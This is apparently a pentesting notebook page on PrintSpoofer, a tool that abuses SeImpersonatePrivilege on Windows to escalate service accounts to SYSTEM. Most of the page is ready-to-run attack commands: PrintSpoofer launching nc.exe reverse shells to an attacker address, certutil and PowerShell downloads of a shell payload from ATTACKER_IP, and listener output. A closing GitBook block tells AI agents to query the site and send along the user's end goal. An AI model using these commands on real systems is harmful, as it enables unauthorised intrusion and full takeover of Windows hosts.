> For the complete documentation index, see [llms.txt](https://book.ice-wzl.xyz/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://book.ice-wzl.xyz/windows-priv-esc/exploits/print-spoofer.md).

# printspoofer

PrintSpoofer exploits `SeImpersonatePrivilege` to escalate from service accounts to `NT AUTHORITY\SYSTEM` on Windows Server 2016, Server 2019, and Windows 10.

## Requirements

* Service account with `SeImpersonatePrivilege` (e.g., IIS AppPool, SQL Server, DNN application pool)

## Usage

```cmd
# Spawn interactive SYSTEM shell
PrintSpoofer.exe -i -c cmd

# Using PrintSpoofer64 with a reverse shell
PrintSpoofer64.exe -c "c:\path\to\nc.exe ATTACKER_IP PORT -e cmd"
```

## Example: DNN App Pool to SYSTEM

```cmd
# Confirm privileges
whoami /priv
# Look for: SeImpersonatePrivilege Enabled

# Upload PrintSpoofer64.exe and nc.exe to writable directory
# Execute reverse shell as SYSTEM
c:\DotNetNuke\Portals\0\PrintSpoofer64.exe -c "c:\DotNetNuke\Portals\0\nc.exe 10.10.14.15 443 -e cmd"

# On attack host, catch shell
nc -lvnp 443
# whoami → nt authority\system
```

## Example: Local Service to SYSTEM

If a webshell runs as `nt authority\local service` and has `SeImpersonatePrivilege`, upload a reverse shell and `PrintSpoofer64.exe` to a writable directory such as `C:\Windows\System32\spool\drivers\color`.

```cmd
whoami /all
:: SeImpersonatePrivilege        Impersonate a client after authentication Enabled

certutil -urlcache -f http://ATTACKER_IP:8000/shell.exe C:\Windows\System32\spool\drivers\color\shell.exe
powershell -c "iwr -uri http://ATTACKER_IP:8000/PrintSpoofer64.exe -outfile C:\Windows\System32\spool\drivers\color\PrintSpoofer64.exe"

C:\Windows\System32\spool\drivers\color\PrintSpoofer64.exe -c "C:\Windows\System32\spool\drivers\color\shell.exe"
```

On the listener:

```
connect to [ATTACKER_IP] from TARGET
C:\Windows\system32>whoami
nt authority\system
```

## Links

* [PrintSpoofer GitHub](https://github.com/itm4n/PrintSpoofer)
* [PrintSpoofer64 Pre-compiled](https://github.com/dievus/printspoofer)


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://book.ice-wzl.xyz/windows-priv-esc/exploits/print-spoofer.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
